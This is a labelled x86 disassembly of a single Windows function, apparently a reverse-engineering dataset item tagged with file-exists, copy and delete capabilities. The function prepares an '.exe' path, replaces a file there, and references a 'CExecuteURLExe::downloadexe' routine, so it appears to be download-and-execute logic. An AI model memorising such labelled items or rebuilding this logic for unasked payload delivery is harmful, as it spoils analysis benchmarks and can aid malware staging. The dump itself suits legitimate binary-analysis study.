Function at 0x1005ee70
Capabilities:
Check if file exists
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c886b
mov eax, dword fs:[0]
push eax
sub esp, 0x108
mov eax, dword [0x1022b584]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x4c], edi
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x70], 0
call fcn.1004d070
add esp, 4
mov dword [ebp - 4], 0
call fcn.1000ed90
mov ecx, eax
test ecx, ecx
je 0x1005f480
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x44], eax
push 5
push 0x101d1fbc
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.1001bd10
push dword [ebp - 0x50]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
call esi
test eax, eax
jne 0x1005ef1b
push dword [ebp - 0x50]
push eax
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x44]
call fcn.100117f0
push 1
push 0x101d3558
lea ecx, [ebp - 0x44]
call fcn.1001bd10
call fcn.1000ed90
mov ecx, eax
test ecx, ecx
je 0x1005f48a
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5c], eax
mov eax, str..exe
mov byte [ebp - 4], 2
shr eax, 0x10
mov ecx, str..exe
mov dword [ebp - 0x78], eax
test eax, eax
jne 0x1005ef76
movzx eax, cx
lea ecx, [ebp - 0x5c]
push eax
call fcn.1000f350
jmp 0x1005ef85
push 4
push str..exe
lea ecx, [ebp - 0x5c]
call fcn.1000f6e0
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.1004c420
add esp, 0xc
mov edx, dword [ebp - 0x5c]
or ebx, 0xffffffff
mov byte [ebp - 4], 5
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1005efbb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x68]
lea ecx, [ebp - 0x44]
push dword [eax - 0xc]
push eax
call fcn.1001bd10
push dword [ebp - 0x44]
call esi
test eax, eax
je 0x1005efdc
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.1000ed90
mov ecx, eax
test ecx, ecx
je 0x1005f494
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x64], esi
mov eax, dword [ebp - 0x4c]
mov edi, dword [edi + 4]
push 0x20
mov byte [ebp - 4], 6
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
call fcn.10179990
add esp, 4
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 7
test eax, eax
je 0x1005f023
mov ecx, eax
call fcn.10035e20
jmp 0x1005f025
xor eax, eax
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 6
push eax
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
call fcn.10035c60
push edi
push dword [ebp - 0x4c]
mov edi, dword [ebp - 0x58]
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x60]
mov ecx, edi
mov byte [ebp - 4], 8
push dword [eax]
call fcn.100369c0
test eax, eax
je 0x1005f300
lea eax, [ebp - 0x64]
mov ecx, edi
push eax
call fcn.10036c50
mov esi, dword [ebp - 0x54]
mov byte [ebp - 4], 6
test esi, esi
je 0x1005f09b
mov eax, ebx
lock xadd dword [esi + 4], eax
jne 0x1005f09b
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, ebx
lock xadd dword [esi + 8], eax
jne 0x1005f09b
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
call fcn.1000ed90
mov ecx, eax
test ecx, ecx
je 0x1005f49e
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x4c], esi
mov edi, dword [ebp - 0x48]
mov byte [ebp - 4], 9
mov eax, dword [edi]
cmp dword [eax - 0xc], 0
je 0x1005f297
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1005f0dc
push dword [edi]
push eax
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
mov eax, dword [edi]
mov byte [ebp - 4], 0xa
mov ecx, dword [eax - 0x10]
test ecx, ecx
je 0x1005f0f4
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, eax
test ecx, ecx
jne 0x1005f10a
call fcn.1000ed90
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x10]
mov ecx, eax
test ecx, ecx
je 0x1005f4a8
mov eax, dword [ecx]
call dword [eax + 0xc]
mov dword [ebp - 0x70], 1
lea esi, [eax + 0x10]
mov eax, dword [edi]
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x74], eax
mov edi, dword [eax - 0xc]
mov dword [ebp - 0x54], edi
lea edx, [edi + 1]
test edx, edx
js 0x1005f4b2
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edx
or eax, ecx
jge 0x1005f14f
push edx
lea ecx, [ebp - 0x48]
call fcn.1000f500
mov esi, dword [ebp - 0x48]
add edi, edi
push edi
push dword [ebp - 0x74]
push edi
push esi
call fcn.1000e380
lea ecx, [edi + esi]
add esp, 0x10
test ecx, ecx
jne 0x1005f178
call fcn.10190d97
mov dword [eax], 0x16
call fcn.10190cbe
jmp 0x1005f181
mov ax, word [0x101d3558]
mov word [ecx], ax
mov eax, dword [ebp - 0x54]
inc eax
cmp eax, dword [esi - 8]
jg 0x1005f4b2
xor ecx, ecx
mov dword [esi - 0xc], eax
mov word [esi + eax*2], cx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x4c]
call fcn.100117f0
mov byte [ebp - 4], 9
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1005f1be
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.1000ed90
mov ecx, eax
test ecx, ecx
je 0x1005f4bc
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x78], 0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xb
jne 0x1005f1f5
mov eax, str..exe
movzx eax, ax
push eax
call fcn.1000f350
jmp 0x1005f201
push 4
push str..exe
call fcn.1000f6e0
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 0xc
push eax
push dword [ebp - 0x60]
lea eax, [ebp - 0x54]
push eax
call fcn.1004c420
add esp, 0xc
mov eax, dword [eax]
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0xd
push dword [eax - 0xc]
push eax
call fcn.1001bd10
mov edx, dword [ebp - 0x54]
mov eax, ebx
mov byte [ebp - 4], 0xc
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1005f248
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, ebx
mov byte [ebp - 4], 9
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1005f266
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x4c]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1005f27b
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push esi
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1005f297
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x44]
call fcn.100117f0
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
cmp dword [eax - 0xc], 0
je 0x1005f2b0
push eax
push dword [ebp - 0x44]
call fcn.1015b0e0
add esp, 8
jmp 0x1005f2bb
push dword [ebp - 0x44]
call fcn.1015b3b0
add esp, 4
test eax, eax
je 0x1005f2db
mov eax, dword [ebp - 0x6c]
push 0
push 0
push 0
push 0
push dword [eax]
push dword [ebp - 0x44]
call fcn.1004a730
add esp, 0x18
mov edi, eax
jmp 0x1005f2dd
xor edi, edi
mov byte [ebp - 4], 6
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1005f2f8
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x64]
jmp 0x1005f3ea
mov edi, dword [ebp - 0x54]
mov byte [ebp - 4], 6
test edi, edi
je 0x1005f32a
mov eax, ebx
lock xadd dword [edi + 4], eax
jne 0x1005f32a
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
mov eax, ebx
lock xadd dword [edi + 8], eax
jne 0x1005f32a
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
call fcn.100a97a0
mov ecx, eax
push 1
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x1005f3e8
push 0x11
push str.ExecuteURLExe.cpp
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], al
call fcn.1000cf00
push 3
push 0x101d1fdc
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.1000cf00
mov byte [ebp - 4], 0xf
call fcn.100a97a0
mov ebx, eax
lea ecx, [ebp - 0x114]
push 0x4f
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10007f90
mov edi, eax
push str.CExecuteURLExe::downloadexe_failed._res
push edi
mov byte [ebp - 4], 0x10
call fcn.10008dd0
push esi
push edi
call fcn.10008dd0
mov eax, dword [ebx]
add esp, 0x10
mov ecx, ebx
push edi
call dword [eax + 0x1c]
lea ecx, [ebp - 0x114]
call fcn.10008e90
lea ecx, [ebp - 0x28]
call fcn.10007310
lea ecx, [ebp - 0x40]
call fcn.10007310
or ebx, 0xffffffff
xor edi, edi
mov byte [ebp - 4], 5
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1005f405
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x68]
mov eax, ebx
mov byte [ebp - 4], 1
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1005f423
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, ebx
mov byte [ebp - 4], 0
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1005f441
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 4], 0xffffffff
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x1005f460
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101799ce
mov esp, ebp
pop ebp
ret 0x10
push 0x80004005
call fcn.10009b10
push 0x80004005
call fcn.10009b10
push 0x80004005
call fcn.10009b10
push 0x80004005
call fcn.10009b10
push 0x80004005
call fcn.10009b10
push 0x80070057
call fcn.10009b10
push 0x80004005
call fcn.10009b10
int3